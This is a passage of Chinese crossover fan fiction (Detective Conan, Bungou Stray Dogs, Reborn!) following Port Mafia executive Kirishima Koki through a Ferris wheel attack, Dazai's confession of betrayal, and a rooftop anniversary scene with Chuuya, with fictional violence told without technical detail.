一群获得“外出许可”的年轻警察打打闹闹地,没把他和小兰说的“鬼屋”当笑话,反而真陪他们去查了案。只有[雾岛光]对此不感兴趣。少年的骨骼纤细,看上去比他们小一些,站在树荫下却默不作声地,像只黑暗里的幽灵,见江户川柯南看过来,反而趁萩原研二他们在议论着什么的时候转身就走。 结果被称为“萩原”的人一把勾住了脖子。 二十二岁的萩原研二调笑着说了句【“小雾岛,你该不会怕鬼吧”】。 【“小雾岛,你为什么总是不高兴。”】 【“小雾岛~小雾岛~”】 [雾岛光]原本戴着帽子,长发盘起塞在帽子里,被萩原研二这么一折腾,帽子也蹭在了地上,银色的长发披散下来。 “小雾岛”那如海底般死寂的表情终于出现了波澜。 “小雾岛”被气了个半死。 “小雾岛”阴沉着说要宰了“萩原”。 “萩原”脸上的笑容更灿烂了些,连哄带骗地把“小雾岛”推进了鬼屋。 半分钟后,工藤新一看着“小雾岛”面无表情地出来,随手把自己往怀里一抱,当挡箭牌似的,边走边说“我不是怕鬼,是不喜欢鬼”。 由于“小雾岛”看起来实在不像警察,被当成挡箭牌的工藤新一沉默地记住了他的名字。 第二次见到这副模样的[雾岛光],是在新闻上。他看上去又长高了些,相貌介于少年和青年之间,穿着便装,胸口却被犯人的小刀刺穿。[雾岛光]低头,半晌也不知道是做出来怎样的决定,在刺耳的警笛声中,抓着犯人的手,在对方开枪之前,索性带着犯人从高楼上一跃而下。 人质受到惊吓的尖叫就算通过电视也格外刺耳,没人再喊他“小雾岛”,也没人再问他“小雾岛,你为什么生气”,记者机械性地称呼他为“雾岛警官”,哀悼的词说了一堆,盖在尸体上的白布却渗出血迹,就此断定了他的一生。 第三次就是现在。 报告厅的消息除了警察内部外没有对外公布,江户川柯南知道[雾岛光]还活着,并且疑似变成了叛徒,是借由毛利小五郎的名义,从高木涉那打听到的。 江户川柯南有些不相信。 结果没过两天,高木警官又说,那都是误会,[雾岛光]的确已经死了,是冒充了松本管理官的犯人提供的假消息。 可现在,凭借着夏威夷学到的半吊子意大利语,江户川柯南意识到事情或许并没有那么简单。 “十四岁”“家族”“攻击”“野犬”—— 就算只有几个关键词,江户川柯南也察觉到了,这或许并不是什么恐怖袭击,而是你死我活的黑/帮之间的复仇。 【可不管怎样,都不是杀人的理由】 江户川柯南这么想着的时候,原本停止了几分钟的攻击却再次到来。直升机无差别地扫射过摩天轮的每一部分,仿佛是要将所有人置之死地。 雾岛光希罕见地没什么动作,反倒是海野一一个滑铲,在那里神神叨叨地念着“我知道了!我都知道了!我也是有作为黑手党的尊严的!”,张开双臂就要挡住子弹。 “……”雾岛光希把他拎到一边。 他打量着江户川柯南的表情,从周围嘈杂的心声里,分辨出江户川柯南的心声。 小侦探的心声比他平时说话的声音成熟一些,明明自己身上的状况也很糟糕,却还在想着要这么阻止摩天轮的轴体被破坏。 【侦探团的孩子们还在摩天轮上】 【小兰她们也在旁边的广场里】 【水族馆的游客再怎么样也有几千人……】 轴体最终还是被打下了。 象征着幸福的摩天轮晃动着,变成一个大型的滚轮,向外面惊慌失措的游客们压去。 “FBI!你手里的枪是做什么的!把那东西打下来!” 降谷零的声音不知道从哪里传来,雾岛光希耳边听到的心声太多了,很难分辨出具体的方位。 “打下来可以,但我的夜视瞄准镜已经用不了了。”紧接着就是雾岛光希那天在跨海大桥上听到的那个名叫赤井秀一的人的话。 “总之想办法把你那边的视野照亮就好了吧!”松田阵平大喊着,手里不知道提了个什么装置。他从楼上的平台跳下,黑色的西装外套上沾了灰尘,一转头就看到了紧紧握着栏杆,快要掉下去的江户川柯南。 松田阵平一挑眉,一把将他揪上来,单手抱在怀里:“你这小鬼在这里做什么?” 江户川柯南:“雾岛警官他——!” 少年的声音戛然而止。 “……” 原本的平台上空空荡荡,刚刚的那些动物,包括倒在地上的两个人,所有的一切都消失不见,仿佛刚刚的那些都是南柯一梦,眨眼间就消散了。 “雾岛?”松田阵平顺着他的目光看了眼,很快又将视线收了回来,“算了,你抓稳。” 【!!!】 江户川柯南抱住松田阵平的脖子,终于注意到松田阵平手里提着的正方形:“这不是刚刚拆掉的炸/弹吗?” “不会装炸/弹怎么拆炸/弹?”松田阵平嗤笑,在江户川柯南震惊的目光中借助摩天轮滚动时的力向前一跃,狠狠地将手里的炸/弹扔了出去。 火花有一瞬间照亮了夜空,惊慌失措的游客们总算注意到了自己的头顶上盘旋着架本该是军用的直升机。 摩天轮快要将挡住他前进轨迹的铲车压扁,库拉索注视着摇晃的厢体里的孩子们,想起白天他们拉着自己在游乐园里跑来跑去的画面,咬紧了牙关,似乎是做好了赴死的准备。 【如果不是遇见了他们——】 【就算是死,我也不要回到那个地方!】 朗姆的秘密武器,倒不知什么时候起了反叛的心思。 “库拉索。” 库拉索的心跳停滞。 她的右胸早已被钢筋刺穿,耳膜被这声低沉的呼唤穿透,缓慢地回过头去时,对上伯/莱塔的枪口,以及那双冷翠色的眼睛。 就好像她所做的一切都变成了笑话。对于加入了组织的人,想要脱离简直是天方夜谭。 【好痛苦啊】 库拉索想。 胸腔里的心脏,一下一下地砸着她的骨骼和皮肤。 到了这个时候,库拉索反倒想起来刚刚被自己救下的雪莉。 【唯一成功了的……】 库拉索闭上眼睛,很轻地笑了下。 忽然,她的眼睛睁开,在银色的子弹脱膛而出的下一秒,露出了癫狂又震撼人心的笑。 “gin——!!” 摩天轮停止了滚动。 死寂。死寂。 欢呼。雀跃。 没人去追究那被压垮的黄色机械,也没人去追究那一声枪响。 为了别人而努力的生物总是小部分,比死亡更可怕的,是根本不会有人记得“库拉索”的名字。 她只是那个为了窃取情报,被撞入大海,在短暂的失忆后,终于找回了她原本的自己,吉田步美口中拿着白色海豚挂件的“漂亮大姐姐”。 …… …… 话是这么说的。 雾岛光希捡起地上染了血的白海豚挂件,瞥了眼脚边姑且还活着的库拉索。 “你是故意的还是故意的。”他向面前的琴酒问道。 子弹没打中库拉索,打中了雾岛光希的肩膀。 他那时从摩天轮上跳下来,由于手里还拎了几个人,没办法在空中调整姿势,只能硬生生地挨了这一枪。 “你在这种地方做什么。”琴酒不以为意。 雾岛光希抬手揪住想要冲上去和琴酒拼命的海野:“稍微有点恩怨要解决。” 琴酒嗤笑:“你的恩怨哪一天能解决完?” “喔。”雾岛光希后知后觉地反应过来,“今天似乎在游乐园里看到伏特加了。” 这两个人明明早上还是恨不得杀了对方的关系——尽管大多时候都是琴酒单方面的,雾岛光希懒得干多余的事,只偶尔因为森鸥外的命令在任务里狙琴酒几枪——现在却一副相识了很久的姿态。并肩站在一起,背影看上去跟吃完饭能相约出去散步似的。 “彭格列?”琴酒道。 “迟早也会影响到你们。”雾岛光希弯腰,刚想抱起地上昏迷不醒的入江正一,海野就跟打了鸡血一样,抢在他面前将入江扛在了肩上。 雾岛光希:“……” 海野一面色严肃,装得深沉,心声却在这种人多的地方也格外明显:【我的耶稣基督圣母玛利亚阿弥陀佛苦海无边回头是岸,俺就知道俺没跟错人,听说雾岛干部手下不招人了,俺得想个办法把俺哥挤走,哈哈就骗他乡下田里有黄金让他去犁地好了哈哈】 [其实我站不住][我想去医院][能不能直接躺下来]—— 雾岛光希沉默,听着海野的话,自己的想法却根本说不出口。 “对了。”斟酌之下,雾岛光希只能装作没事人一样和琴酒寒暄,“贝尔摩德把我的祝福带给你了吗?” 空气似乎变冷了几分。 雾岛光希疑惑地抬头,夜空依旧阴沉沉的,乌云不知道什么时候散开。松田阵平重启的炸/弹损坏了武装直升机的尾翼,螺旋桨处不知道被谁打了一枪,此时正盘旋着,往远处降落的地方飞去。 雾岛光希张了张口,正想提醒琴酒他的伙伴们看上去不太妙,琴酒却眯起眼,用一种仿佛要把他生吞活剥般的口吻说:“阿莱西奥。” “我和你不一样,没有养孩子的乐趣。” 脚踝被冰冷的手抓住。 昏迷的库拉索不知道什么时候醒来,她撑着一开始,呼吸间带着些血沫,喉咙却发不出声音。 雾岛光希看看她的唇瓣动了动,在子弹上膛的声音中蹲下身去。可库拉索的肺部就像个开了口的风箱,雾岛光希听不清她的话,倒是从她的心声里听见: 【把那些孩子给我的海豚……】 【还给我】 洁白的小挂件摇晃着,在雾岛光希恍惚的视线里变成了降谷零手机上的小雪人。 雾岛光希下意识地对她伸出手,身后的琴酒却已经将枪对准了库拉索,子弹直指她的眉心。 “库拉索——!” 旋转的足球擦着琴酒的手而过,令琴酒被迫改变了子弹射击的方向。江户川柯南并没有露面,稚嫩的童声却极具穿透力,雾岛光希知道是他做的。稍稍抬起眼时,看到残缺的平台高处,松田阵平站在那里,安静地看着自己。 ——唉。 ——你叹什么气? ——我在想小雾岛脾气这么差,小阵平脾气也这么差,你们两个以后可怎么办? 【不管怎样,都不是杀人的理由】 江户川柯南的话在雾岛光希听来很天真,毕竟白兰杰索可不是劝劝就能算了的人,他之前遇到的gss,高濑会——所有人都不是劝劝就能算了的人。但也许正是这份天真,才能让库拉索回光返照般地爬起来,在琴酒的射击下飞快跑向人群聚集的地方。 广场上的灯光秀仍在继续。 库拉索这种酒的种类,分为白,橙,蓝,绿,红。 朗姆曾经以此作为库拉索记忆的触发点,将她作为最强的手下来使用。 从今天开始不是了。 五颜六色的灯光是幸福的颜色,代表少年人内心的无数种可能。 不是杀人的理由——江户川柯南或许真能做到。 “你愣着做什么。”琴酒的嗓音阴森森的,对距离库拉索最近,却没将库拉索杀死的雾岛光希说道。 雾岛光希起身,将那个挂件自然而然地收进口袋,语气轻巧地转过身,背对着松田阵平:“她是死是活和港口黑手党有什么关系,别误会了,我只是在和你聊天,不是要帮你干活。” 几辆黑色的轿车停下。伊达航跳过残缺的横板,从松田阵平身后走出时,恰好看到那群黑衣人从车上跳下,恭敬地向雾岛光希行礼。 风衣的下摆划过雾岛光希的小腿,前不久还因为松田阵平的那句“那我追你?”就反锁车门,羞愤地瞪着他的人,此时倒是显得冷漠又矜贵,与琴酒擦身而过时与对方低声说了什么,使得后者冷笑了声。 【雾岛他……究竟在做点什么啊?】 相比松田阵平,刚得知自己的同伴还活着的伊达航充满震惊,他向松田阵平看去,松田阵平的表情却风平浪静的,细看又带着点玻璃般冷意,似乎是在等待着什么。 可一步。 两步。 雾岛光希一次也没有回头。 “我就说他们会伤你的心的。”坐在轿车后座的太宰治轻飘飘道。 这是这么多天过去,这是太宰治第一次与雾岛光希见面。 “我没有伤心。”雾岛光希轻轻地说道。 他的眼尾轻挑,唇角弯了弯,侧过脸去看向太宰治时,耳边回响着萩原研二的那句话。 ——你们两个可怎么办? 说要暴揍警视总监的松田阵平,以后说不定真能成为警视总监。 所以还能怎么办呢。 “倒是你。”雾岛光希说着,正想抬手抹掉太宰治脸上的灰尘,指尖却在触及对方的前一秒顿住。像是察觉到自己的手上沾了干涸的血迹似的,雾岛光希正打算收回手,手腕却被太宰治圈住。 少年将脸凑了上来,黑色的瞳仁吸收了所有光线,一眨不眨地注视着面前的雾岛光希。 雾岛光希没听见他的心声。 太宰治完全是未经思考做出的决定。 “光希。”他似笑非笑地问道,黑发蓬松而柔软,鸢色的眼眸却如蜜糖般,沁出蜜汁,散发出甜蜜而腐烂的气息。 “倒是我什么?”—— 作者有话说:*赶上了![星星眼] 第39章 雾岛光希现在的视力的确不太好。 可从指尖传来的温度是真实的,圈住手腕的力道是真实的。 这大概是太宰治加入港口黑手党以来第一次主动亲近他,雾岛光希却并没有感到多少欣喜。 “你怎么了?”雾岛光希问他。 握住他手腕的力道松开了些,可太宰治依旧没能做出回答。 “森先生打算召开五大干部会议。” 太宰治道。 “以接下来的情况,谁落单都很危险,基里奥内罗的首领原本可是所谓原本彩虹之子的大空,虽然不知道那个人是靠什么说服了她,但谁知道他会不会靠同样的手段令我们这边的人倒戈。” 轿车里空调的温度适宜,前座和后座之间的隔板被放下,专职的司机从刚才太宰治开口的下一秒,就默默调高了爵士乐的音量,力图证明自己没有偷听的心思。 雾岛光希点了下头:“我知道。” 他说完,顿了顿,又道:“可我问的是你怎么了?” 那重要吗? 太宰治又笑:“我怎么了又不是重要的事。” 雾岛光希依旧没听到太宰治的心声。 他隐隐地感到不安,但太宰似乎意识到雾岛光希今天说了太多的话,因此也没给他过多开口的机会,在雾岛光希开口以前,依旧道:“以前光希送我上学的时候,在路上发现了个奇怪的人,尽管对方还没来得及对我出手,但那天下午学校里的电视机就放了犯人落网的消息,那是光希做的吧。” 雾岛光希沉默了几秒:“那都是好几年前了。” 太宰治眨眨眼:“你是黑手党,把人送警察署做什么?” 雾岛光希上下打量着太宰治,暗道半死不活的吉尔是不是刚才袭击了太宰,他突然和自己回忆往昔,雾岛光希反而有些后怕。 “还有以前我嫌邻居家的狗太烦,就让他家的猫把那只狗带回去扔掉的事。” 太宰治慢悠悠地,尽管猜到了雾岛光希的心思,却也没有解释的打算。 “光希让我和那只狗道歉,那天晚上还抱了只不知道哪来的小野猫回来,其实我根本没有反省,也没觉得自己做错,更讨厌那种喵喵叫的生物,就算到了现在依旧不喜欢。” 那只小黑猫原本就是邻居捡回来的野猫,不是什么名贵的品种,身价自然比那只金色的小狗便宜了不少。 在出了那种事后,毛茸茸的小黑猫就被交到了雾岛光希手中。他在饲养宠物方面没什么经验,那只小黑猫只喜欢太宰,一见到要给自己洗澡喂药的雾岛光希,就疯了似的满屋子乱跑。 前几年,小黑猫寿终正寝。 雾岛光希那时还以为它是生了病,正打算带它去医院,小黑猫却凝视了它很久,见他过来,难得没有逃跑,反而喵了一声,在雾岛光希的脚边蜷缩成一团。 它小小的身体在雾岛光希把它带到医院前就变得僵硬,医生叹了口气,检查了下小黑猫的身体,问雾岛光希知道它多大了吗。 都二十岁了。 它已经是只老猫了。 雾岛光希不相信。 明明朝他发脾气的时候,洗碗沾到水上蹿下跳的时候,半夜睡不着在他房间里跑酷,把雾岛光希踩醒的时候。 悄无声息的时候,蜷缩起来的时候,变成小盒子的时候—— 它也就那么点大呢。 “但我现在大概知道了。” 太宰治说。 “狗也不是无缘无故地叫的,它似乎只在隔壁的人出门的时间叫。” 叫了好久。声音越来越大,之后又越来越小,嗓子都有点哑了。 狗那种生物的脑容量有多少,它哪里知道为什么自己的主人回来的时间越来越晚,还以为是因为自己一直在叫,才驱散了周围的危险,让打猎的主人能安全回家。 雾岛光希心里的不安越来越重,他试探着问:“森先生骂你了?还是和织田先生吵架了?” “我只是想不通。” 太宰治说。 “因为森先生上次说我表现得太难看了,所以我好好地想了想。明明我对光希一点也不好,光希为什么不早点把我扔掉呢。” “连猫都是,一天二十四个小时里,我最多只理它十五分钟。脆弱的生物本来就该自生自灭,它记恨上的却是给它喂药的光希。” 雾岛光希的手机亮了下。 他低头看去,发现是尾崎红叶发来的消息。港口黑手党的地下室已经被全面封锁,可依旧没能找到那只狡猾的老鼠的踪迹。 雾岛光希之前喂过它一回,唯二两次出现的时候,都是雾岛光希在的时候。 雾岛光希没有回复,将手机放回口袋。 太宰治有些不对劲。 雾岛光希意识到了这点,却得不出准确的结论。 “是不是又吃了什么奇怪的东西。” 隐约记得太宰治小时候吃了毒蘑菇也会胡言乱语,雾岛光希伸出手,放在太宰治的嘴边。 “吐出来。” 他一个有洁癖的家伙,在说什么呢。 太宰治看着他,被绑带缠着的侧脸时不时被街道两旁的灯照亮, 良久,他叹了口气,语气里有点自暴自弃的成分,将雾岛光希的手压下。 “我可没有吃那种东西。” “织田作和我说了昨天晚上的事,他说光希是真的爱着港口黑手党的,所以这件事我觉得还是应该由我自己亲口告诉你。” 【反正现在不说,那个叫白兰的人过几天也会告诉他】 比起现在多些麻烦,总比因为在战斗的时候骤然听到而分心好吧? 雾岛光希不解。 告诉他什么?是森鸥外之前提到的,不想让自己知道的那件事吗? 从这里回港口黑手党的路程,总共四十多分钟。 这本应是雾岛光希难得应该休息的时候,他的视力受损,由于岚之火炎的影响,全身的骨骺都在叫嚣着疼痛。 可雾岛光希从太宰治身上闻到了隐隐的血腥味。 他下意识地想要检查太宰治身上的伤势,这个念头一动,却又想起以前带太宰去医院时,太宰也很讨厌自己在别人面前碰他。 于是雾岛光希打消了这个念头。 他的唇角抿直,神经绷紧,似乎是在纠结着是先将太宰治带回港口黑手党,还是先让司机把车开去医院。 太宰治就这么安静地凝视着面前的雾岛光希,他察觉到面前的青年将目光落在自己的袖口。 过了一会,太宰治微笑着,嘴唇动了动。 “是我做的。” 雾岛光希在太宰治的袖口上看到了干涸的血迹。 因为衣服本来就是黑色的,氧化后反而看不清了。 鸢色的眼瞳挪动,太宰治又对雾岛光希重复了一遍:“把你从日本支走,出卖旗会的情报给魏尔伦,连后备支援也没给他们,是我做的。” 雾岛光希的手停了下来。 他连呼吸都停止了。 太宰治很少看到他这副样子,青年的手还按在他的身上,体温有些凉,仿佛心脏停止了工作,任性地让血液停滞在脆弱的血管里,不给他的大脑任何思考的机会。 雾岛光希没有戴太宰治以前送他的胸针。 从那天降谷零和他摊牌开始,他就没再戴过了。 不知道是嫌麻烦,还是在保护松田阵平和降谷零。 小黑猫蜷缩成了一团,雾岛光希亲自把它的骨灰埋进土里的那天,太宰治就在旁边看着,问他【“有天我要是死了,光希也会伤心吗”】。 那时的雾岛光希抬头,他脸上的神色疑惑,那时还不明白什么情绪叫作伤心,手指却有些发抖,少顷,小心翼翼地问了太宰治一句【“你也讨厌我吗?”】 ——是啊。 太宰治说。 ——光希好烦人。每天要管我吃什么,还要管我穿什么,明明都是干部了,还来参加什么无聊的家长会。说到底,既然光希选择了我,就应该无条件地站在我这边吧? 光希看着好痛苦。 太宰治一向以戳别人的痛处为乐,那时候却难得沉默了会,发现了自己对雾岛光希不一样的感情。 一开始赶也赶不走的人,最后成了绝对不想让他离开的人。 但那样是不行的吧? 太宰治想。 那套对于还不明白感情是什么,封锁了内心的雾岛光希或许可行,但现在的光希会思考,会反抗了。 因为太宰治的那句话,雾岛光希一直坚定不移地相信着太宰治讨厌自己。 他收养了太宰治,却做得不够好。 他应该做得更好。 明明前不久才下定决心,要多花点时间陪太宰治—— 【那只猫也好,旗会也好,我压根没想让他们活下来】 雾岛光希听到了太宰治的心声。 太宰治试探性地碰了碰雾岛光希的手。 雾岛光希下意识地躲开了。 ——要是有天我死了,光希也会为我伤心吗? 太宰治轻笑,垂下眼睛。 他还不如死了—— 作者有话说:*下一更估计赶不上零点,嚼嚼嚼 第40章 雾岛光希要做的事很多,他得从入江正一那里套话,还得去想办法找到那只消失的老鼠。明明要做的事这么多,从车上下来后,雾岛光希的脚步却慢吞吞的,他像往常一样,踏进大厅,坐上电梯,穿过走廊,瞧着与平日分明没什么区别,神态里却罕见地流露出些茫然。 那不是对要到哪去,太宰为什么会和他说这样的话,为什么会做这样的事产生的茫然,而是对自己为什么从头到尾都没有察觉到当初的计划,等到傻瓜鸟他们回来,又该怎样和他们解释的茫然。 雾岛光希没有回去休息。 他开始有条不紊地工作。 “沢田纲吉为什么要毁掉彭格列戒指。” “因为白兰想要拿到。” “我记得那戒指是特殊的材质。” “所以我也不知道沢田先生是怎么做到的。” “……是吗。” “是吧?不过我觉得那个云雀恭弥不会那样做,毕竟他打架的时候火炎输出太大,寻常的戒指根本承受不了他的两招,难道他以后要揣着一兜的普通戒指打架吗?” 入江正一滔滔不绝地分析着,雾岛光希的思绪却飘远了些。他看到入江正义变成了两个重影,按了按额头,最后头疼地说了一句。 “……” 入江正一愣住,小声询问:“雾岛君,你刚刚说什么?” 雾岛光希后知后觉,他抬头,同样迷茫地反问入江正一:“我刚刚说了什么?” 入江正一:“你说,如果是沢田纲吉想要那么做,那么云雀恭弥会做的。” 【他和彭格列的关系,是不是没像传闻里的那么差?】 “你认识云雀君吗?”入江正一问他。 “是个很强的人。”雾岛光希这样评价道,“仅仅就是认识的关系。” 【怎么看也不是仅仅认识的关系吧?】 入江正一卡了壳,委婉建议:“雾岛君。” “什么?“ “我认为您现在应该去好好休息。岚的破坏性,认识狱寺先生的您应该比谁都清楚,那可不是您撑过去就行的。” 雾岛光希敷衍地应了声。他暗自盘算着,接下来的二十四小时内,白兰会派人秘密潜伏进港口黑手党,他的部下会与之展开冲突,[失败]地让他把入江正一救走。 那枚从吉尔手上拿下来的指环还在雾岛光希的口袋,他起身,离开的步伐进行到一半,又若有所感地回过头,看向入江正一。 “你是不是还有什么事瞒着我?” 入江正一露出了个十分勉强的笑容,心声却很沉静。 “没有。”他道,“以前经常在彭格列那里听到你的名字,非常高兴能见到您。” 最后的话,入江正一用了敬语。毕竟下次再见面,入江正一就是正式以“六吊花”之一的身份,要和雾岛光希算计个你死我活了。 雾岛光希不明白入江正一嘴里的“彭格列”,究竟指的是沢田纲吉本人,还是彭格列里的其他人。 是好话吗? 不是吧。 但他们看着也不像是会说人坏话的人。 结束了入江正一这边的问话,雾岛光希向训练场走去,按照惯例指导自己的部下训练。 青年的目光扫过面前九十度鞠躬的一群人,张了张嘴,开口却就仅剩下四个字:“不必这样。” 一个“是!!”字震耳欲聋,依旧没有人起身。 于是雾岛光希改口,说:“我不会手下留情的。” 一群人反倒抬起头,更有干劲了。 两个小时过后,训练场的地上躺着横七竖八的十几具“尸体”,要不是他们的胸膛依旧在微弱地起伏着,背着手站在一边广津柳浪都以为他们真的要死了。 【……雾岛他心情不好?】 广津柳浪从不对上级的行为过度评价,他依旧恭敬地站在一旁,看见雾岛光希侧过脸,对门后的阴影念道:“久作。” 一颗一半白一半黑的脑袋探了出来。 小朋友倒是一点也不矫情,给雾岛光希显摆了下自己的训练成果:“光希!快看!我也有肌肉了!” 【他那叫什么肌肉】 听到的声音是中原中也的,雾岛光希却蹲下身去,和呼唤梦野久作不同,没主动把靠在墙后,陪同梦野久作训练的中原中也叫出来。 “我今天碰到了江户川君。”雾岛光希说。 梦野久作顿了下:【啊!小绿茶!】 “好吧。”梦野久作似懂非懂地点了点头,“他和光希完侦探游戏啦?” 雾岛光希摘掉了他脑袋上不知道哪弄来的羽毛:“你不是讨厌他吗?” 梦野久作眨了眨眼:“喔,是那样没错。”他说完,又得意地扬起脑袋,“但中也教过我,不可以霸占光希,光希是干部,所以是大家的。” “我说的才不是那样的!”中原中也的声音终于从墙背后传了出来,他没戴那顶帽子,赭发有些凌乱,被梦野久作拜托教导他体术,显然是废了中原中也不少工夫。 【为什么话从他嘴里说出来就那么奇怪!我说的明明是雾岛有自己交朋友的权利而已!】 梦野久作:“不是那样是哪样?” 中原中也粗声粗气:“是——” 他瞄了眼低着眼睛的雾岛光希,在当事人面前开不了这个口。 气急败坏的中原中也忽然镇定下来,他眯起眼,阴森森地在梦野久作背后说出一句:“喂,梦野久作,你该不会是故意算计我吧?” 这是中原中也第一次在梦野久作面前喊他全民,语气间颇有种要在下次训练的时候让他好好道歉的意思,吓得梦野久作打了个激灵。 【虽,虽然是那样没错】 “抱歉。”雾岛光希突然和中原中也说。 他这突如其来的话令中原中也愣了下。 中原中也:“不是,我没有……” “对不起啦!”梦野久作忽然超大声地说,他有些不开心,瞪着中原中也的样子瞧着怨恨,但眼底除了不好意思也没有真的报仇的意思,“我不应该算计中也,我长大了,不用光希帮我道歉。” 中原中也反应过来,下意识地看了眼雾岛光希。 【所以他是在教Q这个?言传……那个词怎么说的来着?】 中原中也这一年被填鸭式教育了太多,一时间各种语言在他的脑子里环绕,中原中也差点连日语怎么说都不知道了。 “知道了。” 中原中也轻笑出声,心情很好地按了下梦野久作的脑袋,眉头轻挑。 “下次可不原谅你。” 事实上中原中也也知道,绝对有下次的。 “对了。”见雾岛光希起身,中原中也忽然道,“雾岛,你现在有空吗?” 雾岛光希原本是打算去见森鸥外一面,听到这话点了下头。 “是红叶那边出事了?” “大姐的话,现在应该在指挥大家放老鼠药。” “……” 虽然看上去是只老鼠,但总不至于真的会被老鼠药骗到吧? 雾岛光希若有所思,跟着中原中也去了天台。 港口黑手党的五栋大楼当初设计之初就直指横滨地标,这是横滨内最高的建筑,当初龙头战争时期被涩泽龙彦炸毁了一次,重建后反而修缮得更完美了些。 尽管是这样,天台上除了些必要的设备,也没什么其他的东西。 【他知道我带他来干嘛吗?】 不知道。 “我也是之前公关官带我来的时候才发现。”中原中也说,站在栏杆边,“那时候你似乎还不太爱说话,红叶大姐突然说让我跟着你学习的时候,我还吓了一跳。” 中原中也向森鸥外宣誓效忠后,消息并未立即传达出去。前面因为太宰治的事骂骂咧咧地从走廊往外走,刚走过拐角,瞳孔就缩小了些。 雾岛光希靠在那里,身影被黑暗吞没,平淡地念了声“羊之王”,中原中也还以为他在嘲讽自己,气得眯起眼,还没来得及做什么,就听到咔哒的声音。 紧接着,就是金色夜叉钉在两人中间的剑。 尾崎红叶站在远处,拢着袖子笑笑:【“他已经是同伴了,光希。”】 雾岛光希眨眨眼,方才散发出来的杀气消失得一干二净。 中原中也后来才知道,那时候雾岛光希是打算杀了自己。 “公关官带你来这里做什么?”雾岛光希问。 中原中也唇角的笑容僵住:“就,就是……反正不是什么大不了的事。” 【雾岛他知道公关官他们有个群,叫雾岛观察会吗?公关官那人笑眯眯的,我发现的当天晚上就把我带到这里,威胁我不准说出去】 观察会? “啊。”中原中也揉乱了头发,“总之,过几天就是你加入港口黑手党的九周年了吧。” 雾岛光希沉吟了一会:“……这你又是怎么知道的?” 中原中也有些不满:“公关官不是说了?什么罗马旗帜之类的,雾岛,现在就剩我们两个了,他们做不到的事当然要我来做。” 到底谁才是成年人啊。 雾岛光希轻轻地笑了下,正想说“原来是这样”,余光却被忽然亮起来的灯光吸引。 此时是凌晨十二点,道路两边的路灯却忽然熄灭。暖黄色的灯带一圈一圈地往上树上爬,将死气沉沉的寂寥抹去,绽放出幸福而温暖光彩。 黑手党们在人们休息的时候纷纷从总部里走了出去,白日里是端着枪戴着墨镜的危险存在,到了晚上,反而勾肩搭背地,见干部们没来监督自己,就嬉笑着商量待会巡逻结束,去哪里一醉方休。 整个横滨在他们脚底下。 雾岛光希通常晚上九点后就不出门了,更不会来天台吹风,还真不知道这样的情况。 “那条街。”中原中也的肩膀舒展,没看雾岛光希,只是从栏杆内往外眺望,脸上的笑容肆意,“以前晚上连灯都没有,大家只能砸破商店里的玻璃,去抢过期的面包吃。” “刚到擂钵街的时候,我连面包是什么都不知道。” 雾岛光希恍惚间明白了中原中也的意思。 “雾岛,九周年快乐。”中原中也说。 港口黑手党很好,雾岛光希也很好。 中原中也很早以前就发现,只要不背叛港口黑手党,看上去最冷酷的雾岛光希其实是全港口黑手党最好惹的人。 尾崎红叶当初让他教他,雾岛光希就全心全意地教他。 得知他和太宰治成为搭档的那天,雾岛光希忽然送了他很多礼物。被礼物淹没的中原中也憋红了脸,询问之下才得知是傻瓜鸟和他说,中也加入港口黑手党这么久,你一点表示也没有,你弟弟又总是在任务里把棘手的事抛给别人,小心中也以后不和你说话哦。 结果反倒是雾岛光希被捉弄了。 他那天难得把脸气红了些,对着捧腹大笑的傻瓜鸟骂道:【“你能不能不要总是戏弄我?”】 傻瓜鸟辩解说他是在教作为黑手党的基本行为准则。 雾岛光希冷笑,把傻瓜鸟的酒没收了:【“你在中也面前说什么,别教他乱七八糟的。”】 ——!! ——你怎么都叫上中也了!喂,中也,你评评理啊!你都做了什么才让他这么看好你?我可是当初花了两年才让他对我有好脸……唔唔唔!谋杀!钢琴家!雾岛谋杀我! 【“闭嘴。”】 雾岛光希松开捂着傻瓜鸟嘴巴的手,低低地骂了声,末了又和中原中也说对不起,给他添了麻烦。 中原中也想:【他这么好的人,总是帮别人道歉做什么】 【怎样成为黑手党,我还是从他身上学的呢】 少年转过头来,张扬又肆意,眉梢轻挑,肩上的风衣也被吹得猎猎作响。 “这样好的光景,我想你也应该看到。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 港口黑手党的生意还得继续。先前雾岛光希说不了太多话,大部分类似的任务都分散在各个人手中,现在他的情况好了些,森鸥外自然就把与高濑会残党交涉的任务交给了他。 用森鸥外的话来说,就是毕竟他们赖以信任的“藤原”是他抓的,他往那一站,就能自动吸引仇恨度,把躲在暗处的人引出来。 “不过真是没想到,那位所谓的[ghost]君会附身在一只老鼠身上。你要是离开港口黑手党,它大概也会跟着跑出去吧。” “只是猜测而已。” “猜测?” “之前中也他们去抓叛徒的时候,提到对方是在我醒来的那天加入的。” 是诬陷雾岛光希的那起事件中的一环。 森鸥外看着面前的雾岛光希,没从对方的表情里看到什么波澜。 “我醒来的消息是在暗中处理完动了趁机反叛的那些人后,才对外公布的,不是吗。”雾岛光希说着,将投向落地窗外的目光挪了回来。他坐在那边森鸥外用来品酒的椅子上,双腿交叠着,黑色的皮质长靴包裹住小腿流畅的线条。 “能做到在大家毫无察觉的情况下监视我的动向,不就只有这种可能?” 森鸥外笑了笑:“说不定真是幽灵呢。” 雾岛光希注视了森鸥外一会,微微阖眼:“这是冷笑话?” “老实说。”森鸥外将手里因无聊而转动的手术刀放下,“他们说太宰去接你的时候,我还以为你回来就打算暗杀我了。” 【还以为太宰能忍多久】 【结果也就是几天而已】 “想通了吗?”森鸥外微笑,唇角的弧度扩大,深紫色的眸底却笑意全无,缓慢地念出他的名字,“光希君,或者说是阿莱西奥?” 魏尔伦要带走中也,也就是要杀死作为中也首领的森鸥外。 为了保住森鸥外,太宰治以旗会的众人,还有一直追寻着中也的村濑警官为筹码,调换了魏尔伦的暗杀顺序,拖延准备作战的时间。 有什么想不通的。 “其实一开始被放在名单最开头的是我吧。”雾岛光希平静道,“您那时候总觉得我会像对待先代一样对您,借魏尔伦之手除掉我,既能争取时间,又能撇清自己的关系——虽然我并不认为斯库瓦罗会因为我死了而报复您。” 【他倒还真是聪明】 森鸥外装模作样地叹了口气:“这话我也和太宰说过,你如果要当一个黑手党呢,就得做一个纯粹的黑手党。黑的就是黑的,为了所谓的[感情]和[同伴],去放弃最大程度的利益,给自己自找麻烦,那像什么样子?” 雾岛光希加入港口黑手党九年,就认识了旗会他们九年。 他是先认识的公关官,才捡到的太宰。 